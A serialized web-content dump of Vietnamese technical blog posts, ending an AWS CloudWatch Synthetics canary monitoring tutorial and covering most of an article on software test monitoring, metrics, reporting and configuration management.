\"",[20,10329,10330],{},"Create canary","\". API canary có thể mất một hoặc hai phút để xây dựng.",[533,10333],{"className":10334,"alt":66,"src":10335,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21171320\u002Fcreate-canary-12-1024x524.png",[11,10337,10338,10341],{},[20,10339,10340],{},"Bước 13:"," Sau khi tạo thành công canary giao diện sẽ trông như thế này.",[533,10343],{"className":10344,"alt":66,"src":10345,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F21171726\u002Fcreate-canary-13-1024x534.png",[498,10347,10349],{"id":10348},"tạo-group-cho-canary","Tạo group cho Canary",[11,10351,10352,10061,10354],{},[20,10353,526],{},[58,10355,10064],{"href":10064,"rel":10356},[62],[11,10358,10359,10361,10362,10075,10364],{},[20,10360,10070],{}," Trong navigation pane, chọn ",[20,10363,10074],{},[20,10365,10366],{},"Create Group.",[533,10368],{"className":10369,"alt":66,"src":10370,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22085451\u002Fcreate-canary-1-2-1024x396.png",[11,10372,10373,10375],{},[20,10374,10087],{}," Điền tên group.",[533,10377],{"className":10378,"alt":66,"src":10379,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22085705\u002Fcreate-canary-2.1.png",[11,10381,10382,10384],{},[20,10383,10128],{}," Tìm kiếm chính xác tên canary và chọn để thêm vào group. Sau đó nhấn Create Group",[533,10386],{"className":10387,"alt":66,"src":10388,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22090102\u002Fcreate-canary-2.2.png",[11,10390,10391,10393],{},[20,10392,1271],{}," Sau khi tạo group thành công, bạn sẽ thấy canary bạn chọn ở bước trên sẽ nằm trong group giúp cho việc quản lý canary dễ dàng hơn.",[533,10395],{"className":10396,"alt":66,"src":10397,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22090953\u002Fcreate-canary-2.3-1024x183.png",[498,10399,10401],{"id":10400},"xem-số-liệu-thống-kê-và-chi-tiết-về-canary","Xem số liệu thống kê và chi tiết về Canary",[11,10403,10404],{},"Để xem chi tiết về canary bạn nhấn vào tên canary tương ứng",[533,10406],{"className":10407,"alt":66,"src":10408,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22093303\u002Fcreate-canary-2.3-1-1024x183.png",[11,10410,10411,10414],{},[20,10412,10413],{},"Tab Availability:"," Sẽ hiển thị thông tin về các lần chạy gần đây của canary này. Bao gồm: Thống kê các mốc thời gian canary chạy thành công hoặc bị lỗi, cũng như các vấn đề bị lỗi như trong hình phía dưới.",[533,10416],{"className":10417,"alt":66,"src":10418,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22094838\u002Fcreate-canary-2.5-1024x411.png",[11,10420,10421,10422,10425],{},"Bạn có thể nhấn ",[20,10423,10424],{},"Download artifacts"," để tải file và có thể xem chi tiết kết quả canary sau khi chạy.",[533,10427],{"className":10428,"alt":66,"src":10429,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22100553\u002Fcreate-canary-2.6-1024x318.png",[11,10431,10432,10435,10436],{},[20,10433,10434],{},"Tab Monitoring:"," Hiển thị biểu đồ của số liệu CloudWatch do canary này xuất bản. Để biết thêm thông tin về các chỉ số này tham khảo: ",[58,10437,10440],{"href":10438,"rel":10439},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch%5C_Synthetics%5C_Canaries%5C_metrics.html",[62],"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch\\_Synthetics\\_Canaries\\_metrics.html",[533,10442],{"className":10443,"alt":66,"src":10444,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F22102356\u002Fcreate-canary-2.7-1024x528.png",[11,10446,10447,56,10450,10453],{},[20,10448,10449],{},"Tab",[20,10451,10452],{},"Configuration:"," Hiển thị thông tin cấu hình và lịch trình về canary.",[11,10455,10456,10459],{},[20,10457,10458],{},"Tab Groups",": Hiển thị các nhóm mà canary này được liên kết.",[11,10461,10462,10465],{},[20,10463,10464],{},"Tab Tags",": Hiển thị các thẻ được liên kết với canary.",[498,10467,10468],{"id":7455},[20,10469,7456],{},[11,10471,10472],{},"Sử dụng Amazon CloudWatch Synthetics để tạo canary nhằm giám sát điểm cuối của ứng dụng của bạn dễ dàng hơn. Bạn có thể liên tục xác thực trải nghiệm người dùng, kể cả khi không có lưu lượng khách hàng truy cập vào ứng dụng. Điều này cho phép bạn phát hiện ra sự cố trước khách hàng và giúp cho trải nghiệm của người dùng một cách tốt nhất.",[498,10474,10475],{"id":5255},[20,10476,7462],{},[11,10478,10479],{},[58,10480,10483],{"href":10481,"rel":10482},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch%5C_Synthetics%5C_Canaries.html",[62],"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonCloudWatch\u002Flatest\u002Fmonitoring\u002FCloudWatch\\_Synthetics\\_Canaries.html",[11,10485,10486],{},[58,10487,10488],{"href":10488,"rel":10489},"https:\u002F\u002Fdev.to\u002Faws-builders\u002Fsynthetic-monitoring-using-aws-canaries-cloudwatch-12jb",[62],{"title":66,"searchDepth":67,"depth":67,"links":10491},[10492,10496,10497,10498,10499,10500],{"id":5417,"depth":67,"text":5418,"children":10493},[10494,10495],{"id":10033,"depth":1417,"text":10036},{"id":10042,"depth":1417,"text":10043},{"id":10055,"depth":67,"text":10056},{"id":10348,"depth":67,"text":10349},{"id":10400,"depth":67,"text":10401},{"id":7455,"depth":67,"text":7456},{"id":5255,"depth":67,"text":7462},"2023-01-10","Giới thiệu AWS CloudWatch Là một dịch vụ giúp giám sát, tổng hợp, phân tích dữ liệu, nguồn tài nguyên chạy trên AWS. Dịch vụ này giúp cung cấp thông tin thực tiễn một cách real-time, cho phép giám sát các vùng nhớ của ứng dụng, cơ sở hạ tầng và dịch vụ ví dụ như Ram, Disk,... và sử dụng cảnh báo; hỗ trợ việc tối ưu hóa hiệu suất ứng dụng, quản lý sử dụng tài nguyên và hiểu rõ tình trạng hoạt động của toàn hệ thống, các tài nguyên của AWS cũng như các ứng dụng của khách hàng chạy trên cơ cở hạ tầng của Amazon.",{},"\u002Fvi\u002Fnews\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries",{"title":10024,"description":10502},"vi\u002Fnews\u002Fgiam-sat-api-su-dung-amazon-cloudwatch-synthetics-canaries","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F23162943\u002Flogo-canary-2.png","uK1ycEOtBC9xYRJgGb7KMgu-9D1EAlAC7l0UCgNHWHo",{"id":10510,"title":10511,"body":10512,"category":356,"created by":70,"date":10800,"description":10516,"extension":72,"meta":10801,"navigation":74,"path":10802,"sections":76,"seo":10803,"stem":10804,"thumbnail":10805,"__hash__":10806},"content_vi\u002Fvi\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu.md","GIÁM SÁT VÀ KIỂM SOÁT KIỂM THỬ",{"type":8,"value":10513,"toc":10796},[10514,10517,10520,10523,10526,10531,10534,10537,10542,10545,10548,10553,10556,10559,10564,10567,10572,10575,10578,10583,10586,10591,10594,10599,10602,10605,10610,10613,10618,10621,10626,10629,10634,10637,10640,10643,10646,10652,10655,10658,10661,10664,10669,10672,10677,10680,10685,10688,10693,10696,10699,10702,10705,10711,10714,10717,10720,10723,10726,10731,10734,10741,10744,10747,10754,10757,10760,10767,10770,10777,10780,10783,10786,10790],[11,10515,10516],{},"Tiến độ kiểm thử là một yếu tố khó xác định. Ví dụ, trong bài tập về nhà mùa hè, chỉ có những cuộc trò chuyện như “Bạn có làm bài tập không?” “Có, mình đang làm” không thể giúp ta biết được chính xác bài tập đã hoàn thành bao nhiêu phần, liệu có thể hoàn thành trước hạn không, hoặc có cần phải tăng tốc không. Nếu không xác nhận sự khác biệt giữa tiến độ bài tập và kế hoạch, không ai (kể cả bản thân) có thể hiểu được tình hình thực tế. Cha mẹ có thể yêu cầu kiểm tra, và nếu tiến độ chậm, họ có thể bảo con cố gắng hơn hoặc hỗ trợ nếu cần thiết.",[11,10518,10519],{},"Kiểm thử phần mềm cũng tương tự. Để nắm bắt tình hình của quá trình kiểm thử, ta cần thiết lập các chỉ số khác nhau và theo dõi những chỉ số đó. Dựa trên kết quả theo dõi, ta có thể kiểm soát được tiến độ của hoạt động kiểm thử. Nếu tiến độ chậm, sẽ cần xem xét lại lịch trình hoặc tăng cường nguồn lực để có biện pháp phù hợp. Giám sát và kiểm soát là hai yếu tố không thể thiếu để tiến hành kiểm thử một cách suôn sẻ.",[11,10521,10522],{},"Giám sát yêu cầu thu thập và phân tích dữ liệu, điều này tốn công sức, vì vậy cần thu thập thông tin một cách hiệu quả chỉ với những dữ liệu cần thiết. Thêm vào đó, việc triển khai các hệ thống dễ dàng thu thập thông tin (chẳng hạn như tự động hóa) có thể giúp giám sát diễn ra thuận lợi hơn.",[11,10524,10525],{},"Sau đây chúng ta cùng tìm hiểu chi tiết về hoạt động giám sát và kiểm soát trong kiểm thử nào!",[11,10527,10528,64],{},[20,10529,10530],{},"Khi một rủi ro đã được nhận diện trở thành hiện thực (ví dụ, khi có sự chậm trễ khi release), ta sẽ đánh giá lại thứ tự ưu tiên của các case kiểm thử.",[11,10532,10533],{},"Dù là ở giai đoạn bắt đầu kiểm thử hay trong quá trình thực hiện, những sự kiện không nên xảy ra sẽ được liệt kê trước đó dưới dạng các rủi ro dự án. Trong suốt quá trình phát triển, ta cần theo dõi xem liệu các rủi ro này có trở thành hiện thực hay không, và khi chúng trở thành hiện thực, cần có biện pháp giải quyết vấn đề.",[11,10535,10536],{},"Ví dụ, trong quá trình phát triển một hệ thống bao gồm nhiều ứng dụng, nếu việc phát triển một ứng dụng cụ thể bị trễ, và điều này có thể dẫn đến việc không thể thực hiện kiểm thử cho một ứng dụng khác phụ thuộc vào ứng dụng này, thì đó là một rủi ro. Nếu sự trễ này trực tiếp dẫn đến việc chậm trễ toàn bộ việc release, thì cần phải có biện pháp đối phó thích hợp. Khi rủi ro trở thành hiện thực, ta sẽ điều chỉnh lại kế hoạch kiểm thử bằng cách ưu tiên kiểm thử các ứng dụng khác có thể kiểm thử được.",[11,10538,10539],{},[20,10540,10541],{},"Điều chỉnh lịch trình kiểm thử theo tình trạng sử dụng môi trường và tài nguyên kiểm thử",[11,10543,10544],{},"Khi môi trường kiểm thử hoặc các tài nguyên cần thiết không thể sử dụng được, ta sẽ xem xét lại lịch trình.",[11,10546,10547],{},"Ví dụ, nếu một máy in chuyên dụng cần thiết để kiểm thử tính năng in ấn không thể chuẩn bị đúng theo kế hoạch, ta sẽ lùi lại việc kiểm thử tính năng đó và ưu tiên thực hiện kiểm thử các tính năng không yêu cầu máy in chuyên dụng. Trong trường hợp này, việc nhận diện trước các trường hợp kiểm thử thay thế có thể thực hiện được và kiểm tra xem các thiết bị cần thiết đã sẵn sàng hay chưa là rất quan trọng.",[11,10549,10550],{},[20,10551,10552],{},"Khi cần làm lại công việc, cần kiểm tra lại xem các yếu tố kiểm thử có đáp ứng đầy đủ các tiêu chuẩn bắt đầu và kết thúc hay không",[11,10554,10555],{},"Khi phát sinh lỗi, sau khi sửa chữa các chỗ gây ra lỗi, kiểm thử trước đó bị tạm dừng bây giờ sẽ được tiếp tục. Trong trường hợp này, cần phải đánh giá lại xem các yếu tố kiểm thử có đáp ứng các điều kiện bắt đầu và kết thúc hay không.",[11,10557,10558],{},"Ví dụ, nếu một lỗi nghiêm trọng được phát hiện trong một tính năng và sau khi debug, phát hiện rằng cần phải sửa nhiều khiếm khuyết và sửa chữa có thể ảnh hưởng đến các trường hợp kiểm thử đã đạt yêu cầu, thì sẽ như thế nào? Trong trường hợp này, các tiêu chuẩn bắt đầu lại công việc sẽ bao gồm việc tất cả lỗi đã được sửa chữa, môi trường kiểm thử đã được thiết lập lại, và các trường hợp kiểm thử cần thực hiện đã được xác định rõ. Ngoài ra, tiêu chuẩn kết thúc sẽ yêu cầu việc đánh giá lại tất cả các trường hợp, bao gồm cả những trường hợp đã đạt yêu cầu trước khi tạm dừng.",[11,10560,10561],{},[20,10562,10563],{},"Các chỉ số (metrics) sử dụng trong kiểm thử",[11,10565,10566],{},"Tiếp theo, chúng ta sẽ kiểm tra các chỉ số dùng để giám sát hoạt động kiểm thử thực tế. Trong suốt quá trình kiểm thử và sau khi kết thúc, sẽ đánh giá các mục sau đây và phản ánh chúng trong báo cáo kiểm thử:",[11,10568,10569],{},[20,10570,10571],{},"Tiến độ so với kế hoạch về lịch trình và ngân sách",[11,10573,10574],{},"Xác nhận xem tiến độ có đúng theo kế hoạch đã định hay không, hay có sự thay đổi tiến độ, sớm hơn hoặc muộn hơn hay không.",[11,10576,10577],{},"Tương tự, ngân sách cũng cần được xác nhận. Ví dụ, mặc dù một số công việc có thể bị trễ so với kế hoạch, nhưng nếu các công việc khác được hoàn thành sớm, có thể không có vấn đề gì đối với tổng thể. Tuy nhiên, nếu tiến độ tổng thể bị ảnh hưởng, cần có phản hồi về việc kiểm soát kiểm thử. Nếu lịch trình tiến triển nhanh hơn, cần phải kiểm tra xem các trường hợp kiểm thử đã chuẩn bị có đủ hay không và đảm bảo rằng tất cả các trường hợp đều được thực hiện đầy đủ",[11,10579,10580],{},[20,10581,10582],{},"Chất lượng hiện tại của đối tượng kiểm thử",[11,10584,10585],{},"Sử dụng dữ liệu về tình trạng thực hiện các trường hợp kiểm thử, số lượng lỗi phát sinh, số lượng lỗi đã được sửa chữa, để đánh giá chất lượng của đối tượng kiểm thử. Ví dụ, nếu số lượng trường hợp kiểm thử đã thực hiện là ít nhưng số lượng lỗi phát sinh lại nhiều, có thể đánh giá rằng việc tiếp tục kiểm thử sẽ có nguy cơ phát sinh thêm nhiều lỗi. Trong trường hợp này, cần phản hồi lại với việc kiểm soát kiểm thử.",[11,10587,10588],{},[20,10589,10590],{},"Đánh giá tính đầy đủ của phương pháp kiểm thử",[11,10592,10593],{},"Đánh giá hiệu quả của phương pháp kiểm thử đã chọn. Ví dụ, nếu phương pháp kiểm thử có hệ thống được áp dụng và sử dụng danh sách các điều kiện kiểm thử tiêu chuẩn để thiết kế, nhưng lại phát hiện nhiều lỗi từ các điều kiện kiểm thử không có trong danh sách tiêu chuẩn, cần xem xét lại danh sách điều kiện kiểm thử tiêu chuẩn. Qua đó, cải thiện phương pháp kiểm thử thông qua việc kiểm soát kiểm thử.",[11,10595,10596],{},[20,10597,10598],{},"Hiệu quả của hoạt động kiểm thử đối với mục tiêu kiểm thử",[11,10600,10601],{},"Dựa trên mục tiêu kiểm thử được thiết lập trong kế hoạch, đánh giá xem liệu kiểm thử đã được thực hiện đầy đủ hay chưa. Ví dụ, nếu mục tiêu kiểm thử bao gồm việc \"đánh giá các sản phẩm công việc như yêu cầu, câu chuyện người dùng, thiết kế và mã nguồn\", thì sau khi đánh giá các sản phẩm công việc này, cần xác nhận rằng số lượng lỗi phát hiện trong quá trình kiểm thử đã giảm. Trong trường hợp này, có thể khó để phản hồi trực tiếp đánh giá các sản phẩm công việc vào việc kiểm soát kiểm thử trong suốt dự án, nhưng đó sẽ là bài học quan trọng để áp dụng trong các dự án phát triển trong tương lai.",[11,10603,10604],{},"Trong suốt thời gian thực hiện hoạt động kiểm thử, cần tiến hành các đánh giá này.",[11,10606,10607],{},[20,10608,10609],{},"Tỷ lệ hoàn thành việc chuẩn bị các trường hợp kiểm thử đã lập kế hoạch",[11,10611,10612],{},"Theo dõi mức độ tiến triển của việc thiết kế và triển khai các trường hợp kiểm thử theo kế hoạch. Điều này giúp xác định còn bao nhiêu công việc cần hoàn thành trước khi bắt đầu thực hiện kiểm thử. Cụ thể, có thể sử dụng chỉ số đo lường số lượng các trường hợp kiểm thử đã được hoàn thành so với dự kiến. Ngoài ra, trong trường hợp thực hiện song song giữa việc viết script cho kiểm thử tự động và thực hiện kiểm thử, cần so sánh tiến độ của việc thực hiện kiểm thử với tiến độ viết script để điều phối công việc.",[11,10614,10615],{},[20,10616,10617],{},"Tỷ lệ hoàn thành việc chuẩn bị môi trường kiểm thử đã lập kế hoạch",[11,10619,10620],{},"Tình trạng chuẩn bị môi trường kiểm thử khác nhau tùy thuộc vào đối tượng kiểm thử. Ví dụ, trong kiểm thử phần mềm nhúng, có trường hợp cần bắt đầu từ việc mua sắm nhiều thiết bị phần cứng, dẫn đến khối lượng công việc lớn. Trong những trường hợp như vậy, mức độ tiến triển của việc chuẩn bị tất cả các môi trường kiểm thử cần thiết và thời điểm hoàn thành việc chuẩn bị sẽ là một chỉ số quan trọng để đưa ra quyết định bắt đầu thực hiện kiểm thử.",[11,10622,10623],{},[20,10624,10625],{},"Thực hiện các trường hợp kiểm thử",[11,10627,10628],{},"Đo lường số lượng các trường hợp kiểm thử đã được thực hiện. Điều này giúp xác định số lượng trường hợp kiểm thử còn lại, từ đó luôn có thể ước tính thời gian cần thiết để hoàn thành việc thực hiện kiểm thử. Tuy nhiên, chỉ đo lường số lượng các trường hợp kiểm thử đã thực hiện thì chưa đủ để thu thập thông tin chính xác. Việc tính toán cần xem xét thời gian cần thiết để thực hiện từng trường hợp kiểm thử.",[11,10630,10631],{},[20,10632,10633],{},"Thông tin về lỗi",[11,10635,10636],{},"Thông tin về lỗi bao gồm mật độ lỗi, số lượng lỗi được phát hiện và sửa chữa, tỷ lệ lỗi, và kết quả kiểm thử xác nhận. Dựa vào các thông tin này, có thể kiểm tra lại mức độ ưu tiên của các hoạt động kiểm thử hoặc điều chỉnh tài nguyên khi cần, giúp kiểm soát hiệu quả các hoạt động kiểm thử.",[11,10638,10639],{},"Công thức tính mật độ lỗi: Mật độ lỗi = Số lượng lỗi ÷ Quy mô chương trình",[11,10641,10642],{},"Quy mô chương trình có thể được đo lường bằng số dòng mã nguồn, số câu lệnh, hoặc số điểm chức năng (function points). Trong khi đo lường số lượng lỗi hoặc quy mô chương trình, điều quan trọng là phải thiết lập các quy tắc thống nhất trên toàn bộ dự án (như thời điểm bắt đầu đo lường hoặc phạm vi đo lường). Nếu các quy tắc không rõ ràng, việc so sánh dựa trên các tiêu chí khác nhau có thể khiến giá trị mật độ lỗi trở nên không còn ý nghĩa.",[11,10644,10645],{},"Tỷ lệ lỗi đề cập đến số lần lỗi xảy ra trên một đơn vị thời gian, nhưng trong phát triển phần mềm, khái niệm lỗi khác với phần cứng. Ví dụ, tỷ lệ lỗi có thể được tính toán dựa trên số lượng lỗi xảy ra trong thời gian thực hiện kiểm thử so với tổng thời gian thực tế của công việc kiểm thử.",[657,10647,10649],{"id":10648},"mục-đích-nội-dung-và-đối-tượng-của-báo-cáo-kiểm-thử",[20,10650,10651],{},"Mục đích, nội dung và đối tượng của báo cáo kiểm thử",[11,10653,10654],{},"Mục đích chính của báo cáo kiểm thử là chia sẻ kết quả của các hoạt động kiểm thử với các bên liên quan và cung cấp thông tin để tận dụng các kiến thức thu được trong giai đoạn bảo trì hoặc các dự án tương lai. Kết quả tóm tắt bao gồm các dữ liệu cụ thể như sự kiện xảy ra trong quá trình kiểm thử và ngày hoàn thành các tiêu chí kết thúc. Thông tin hữu ích cho các hoạt động tiếp theo bao gồm kết quả phân tích tổng thể về kiểm thử và các chỉ số.",[11,10656,10657],{},"Báo cáo kiểm thử được chia thành báo cáo tiến độ, được lập trong quá trình kiểm thử, và báo cáo tổng kết, được lập sau khi hoàn thành kiểm thử. Báo cáo tổng kết tóm tắt nội dung thực hiện dựa trên báo cáo tiến độ mới nhất và các thông tin liên quan. Nếu không tiến hành theo kế hoạch, cần ghi rõ lý do và biện pháp xử lý. Sử dụng các chỉ số để ghi nhận kết quả đánh giá tiêu chí kết thúc. Báo cáo cũng liệt kê các mục rủi ro chấp nhận được khi phát hành, làm rõ xác suất xảy ra và biện pháp đối phó với các vấn đề dự kiến. Ví dụ, nếu còn lỗi như \"không thể đặt chỗ vào ngày 31\u002F12 của năm nhuận\", cần giải thích lý do tại sao rủi ro này nằm trong phạm vi chấp nhận được. Ngoài ra, báo cáo còn liệt kê các sản phẩm có thể tái sử dụng.",[11,10659,10660],{},"Nội dung báo cáo tiến độ và tổng kết cần được điều chỉnh phù hợp với tính chất dự án, yêu cầu tổ chức, và vòng đời phần mềm. Đối với các dự án cập nhật phần mềm đơn giản, cần cân nhắc chi phí lập báo cáo và tối ưu hóa quy trình, như sử dụng định dạng chung cho phần \"Mở đầu\" và lược bỏ các thông tin rõ ràng hiển nhiên. Tuy nhiên, luôn phải báo cáo các rủi ro còn tồn đọng quan trọng. Trong phát triển Agile, có thể thay thế báo cáo tiến độ bằng các công cụ như bảng công việc (task board) hoặc biểu đồ burndown. Các cuộc họp hằng ngày (daily stand-up) thường được sử dụng để chia sẻ thông tin nhanh chóng.",[11,10662,10663],{},"Nội dung báo cáo cần được điều chỉnh để phù hợp với đối tượng đọc nhằm đảm bảo thông tin cung cấp là đầy đủ và phù hợp với nhu cầu của họ.",[11,10665,10666],{},[20,10667,10668],{},"Báo cáo dành cho nhà phát triển và nhóm kiểm thử",[11,10670,10671],{},"Cung cấp thông tin ngắn gọn về số lượng các trường hợp kiểm thử đã lên kế hoạch, số lượng đã thực hiện, tình trạng phát sinh và sửa chữa lỗi. Nếu có nhiều lỗi phát sinh, cần ghi rõ ngày dự kiến sửa chữa và làm rõ lịch trình tiếp tục kiểm thử.",[11,10673,10674],{},[20,10675,10676],{},"Báo cáo dành cho quản lý dự án",[11,10678,10679],{},"Thông thường, nội dung báo cáo dành cho nhà phát triển là đủ. Tuy nhiên, nếu có sự chậm trễ hoặc phát hiện lỗi ảnh hưởng đến tiến độ, cần cung cấp thông tin giúp quản lý dự án thực hiện kiểm soát kiểm thử. Ví dụ, liệt kê các loại lỗi và nhu cầu phân bổ tài nguyên cần thiết.",[11,10681,10682],{},[20,10683,10684],{},"Báo cáo dành cho lãnh đạo",[11,10686,10687],{},"Tóm tắt ngắn gọn tình hình chung của dự án kiểm thử, tập trung vào chi phí, tiến độ và chất lượng với các đánh giá như \"Tốt\", \"Cần cải thiện\", v.v. Nếu có vấn đề, cần trình bày ngắn gọn lý do và cách xử lý hiện tại.",[11,10689,10690],{},[20,10691,10692],{},"Quản lý cấu hình",[11,10694,10695],{},"Quản lý cấu hình, hay còn gọi là Configuration Management (CM) trong tiếng Anh, được gọi cụ thể là SCM (Software Configuration Management) trong lĩnh vực phần mềm. Quản lý này không chỉ bao gồm việc quản lý các thành phần mà còn đảm bảo kiểm soát phiên bản và duy trì khả năng truy xuất nguồn gốc (traceability).",[11,10697,10698],{},"Nói một cách đơn giản, \"Quản lý cấu hình là việc quản lý và ghi nhận các thành phần tạo nên một sản phẩm tại một thời điểm cụ thể (phiên bản) sao cho có thể xác định duy nhất chúng.\"",[11,10700,10701],{},"Ví dụ, khi chỉ định \"phiên bản 1.1 của sản phẩm phần mềm A\", việc quản lý phiên bản phải đảm bảo rằng có thể lấy ra chính xác tất cả các thành phần cấu thành sản phẩm A, bao gồm tệp thực thi, các tệp cần thiết liên quan, hướng dẫn sử dụng, tài liệu trợ giúp, và những thành phần khác.",[11,10703,10704],{},"Ngoài ra, để xây dựng sản phẩm A, cần phải quản lý toàn diện mã nguồn, môi trường xây dựng, môi trường kiểm thử, tài liệu hướng dẫn sử dụng, trợ giúp, và thông tin đóng gói khác. Trạng thái trong đó các mối quan hệ giữa những yếu tố này có thể được theo dõi và truy xuất được gọi là khả năng truy xuất nguồn gốc (traceability).",[657,10706,10708],{"id":10707},"quản-lý-cấu-hình-trong-kiểm-thử",[20,10709,10710],{},"Quản lý cấu hình trong kiểm thử",[11,10712,10713],{},"Trong kiểm thử phần mềm, quản lý cấu hình đóng vai trò quan trọng như thế nào?",[11,10715,10716],{},"Ví dụ, nếu dữ liệu đầu vào cần thiết cho một quy trình kiểm thử không được ghi lại, thì khi thực hiện lại bài kiểm thử đó hoặc thực hiện bài kiểm thử tương tự trên phiên bản tiếp theo, người kiểm thử sẽ phải tìm kiếm dữ liệu, gây lãng phí thời gian nhiều ngày. Thêm vào đó, nếu kịch bản kiểm thử để tái tạo lỗi phát hiện được trong một bài kiểm thử không rõ ràng, việc kiểm tra xác nhận sau khi sửa lỗi sẽ không thể thực hiện một cách suôn sẻ.",[11,10718,10719],{},"Trong quản lý cấu hình kiểm thử, không chỉ các thành phần của sản phẩm kiểm thử (mã nguồn, ví dụ: mã nguồn phần mềm) mà cả kế hoạch kiểm thử, quy trình, kịch bản, môi trường và kết quả kiểm thử đều được quản lý. Tất cả những yếu tố này đều phải được kiểm soát phiên bản và duy trì trạng thái liên kết với nhau. Hơn nữa, việc đảm bảo khả năng truy xuất nguồn gốc giữa sản phẩm kiểm thử (phần mềm) và các tài liệu kiểm thử là điều vô cùng quan trọng.",[11,10721,10722],{},"Tuy nhiên, thực tế là việc quản lý cấu hình kiểm thử thường bị tách biệt khỏi quy trình phát triển phần mềm thông thường. Một số tổ chức chỉ thực hiện quản lý phiên bản tài liệu và mã nguồn, trong khi việc quản lý dữ liệu kiểm thử và kịch bản kiểm thử lại bị bỏ qua. Một trong những lý do là quản lý cấu hình đòi hỏi kỹ thuật chuyên môn và tốn công sức, khiến nguồn lực không đủ để quản lý các tài liệu kiểm thử.",[11,10724,10725],{},"Tuy nhiên, cần tránh những sự cố như việc sử dụng quy trình kiểm thử cũ để thực hiện kiểm tra xác nhận, gây ra hiểu lầm rằng các lỗi đã được sửa, nhưng thực tế lỗi vẫn tồn tại khi phát hiện trong môi trường người dùng. Để ngăn ngừa điều này, quản lý cấu hình trong kiểm thử cũng quan trọng ngang với quản lý cấu hình phần mềm nói chung. Tiếp theo, chúng ta sẽ thảo luận về các đối tượng và quy trình thực hiện cụ thể của quản lý cấu hình trong kiểm thử.",[11,10727,10728],{},[20,10729,10730],{},"Quy trình quản lý cấu hình phần mềm kiểm thử",[11,10732,10733],{},"Quy trình thực hiện quản lý cấu hình thông thường sẽ theo các bước dưới đây:",[201,10735,10736],{},[34,10737,10738],{},[20,10739,10740],{},"Xác định đối tượng quản lý cấu hình",[11,10742,10743],{},"Trong quản lý cấu hình sản phẩm phần mềm, chủ yếu tập trung vào việc kiểm soát phiên bản. Từ các sản phẩm đầu ra đã được xác định là đối tượng quản lý cấu hình, cần lựa chọn những gì sẽ được quản lý cho từng dự án. Việc xác định các đối tượng và phương thức quản lý này cần phải được làm rõ ngay từ khi bắt đầu dự án (khi lập kế hoạch kiểm thử chính).",[11,10745,10746],{},"Đối với các dự án có quy mô lớn, cần phải bố trí người chuyên trách và sử dụng công cụ để quản lý. Tuy nhiên, vì khó có thể ghi chép toàn bộ từ ban đầu, việc chọn lựa đối tượng cần quản lý trong phạm vi khả thi sẽ phụ thuộc vào quy mô sản phẩm, đặc tính của sản phẩm và tài nguyên tổ chức.",[201,10748,10749],{"start":67},[34,10750,10751],{},[20,10752,10753],{},"Xác định phương pháp quản lý cấu hình",[11,10755,10756],{},"Với các đối tượng đã được chọn, cần xác định phương pháp ghi chép, công cụ sử dụng, có hay không người chuyên trách và mức độ chi tiết của ghi chép (ví dụ: tần suất ghi chép). Đặc biệt, đối với các kịch bản kiểm thử được cập nhật thường xuyên, cần thiết lập quy tắc quản lý và thời điểm thực hiện việc kiểm soát phiên bản.",[11,10758,10759],{},"Ví dụ, cần xác định rõ kịch bản kiểm thử nào tương ứng với tài liệu kiểm thử nào, kết quả thực hiện của kịch bản kiểm thử nào và dữ liệu kiểm thử đã sử dụng là gì, để liên kết các đối tượng quản lý với nhau. Việc đảm bảo khả năng truy xuất nguồn gốc (traceability) giúp dễ dàng nhận diện được các bài kiểm thử cần thực hiện khi chức năng phần mềm nào đó được chỉnh sửa, từ đó hỗ trợ kiểm thử hiệu quả và hiệu suất.",[201,10761,10762],{"start":1417},[34,10763,10764],{},[20,10765,10766],{},"Ghi chép và lưu trữ thông tin",[11,10768,10769],{},"Sau khi xác định đối tượng và phương thức quản lý, việc bắt đầu quản lý cấu hình sẽ yêu cầu ghi chép thông tin như lịch sử cập nhật, thông tin phiên bản, v.v. Có thể sử dụng công cụ quản lý cấu hình hoặc ghi chép bằng tài liệu. Dù lựa chọn phương pháp nào, điều quan trọng là thông tin phải được ghi chép chính xác.",[201,10771,10772],{"start":6457},[34,10773,10774],{},[20,10775,10776],{},"Quản lý liên tục và duy trì trạng thái có thể tham chiếu",[11,10778,10779],{},"Mặc dù giai đoạn đầu của dự án có thể đảm bảo ghi chép đầy đủ, nhưng theo thời gian, việc quản lý có thể trở nên lỏng lẻo.",[11,10781,10782],{},"Nếu việc quản lý không đầy 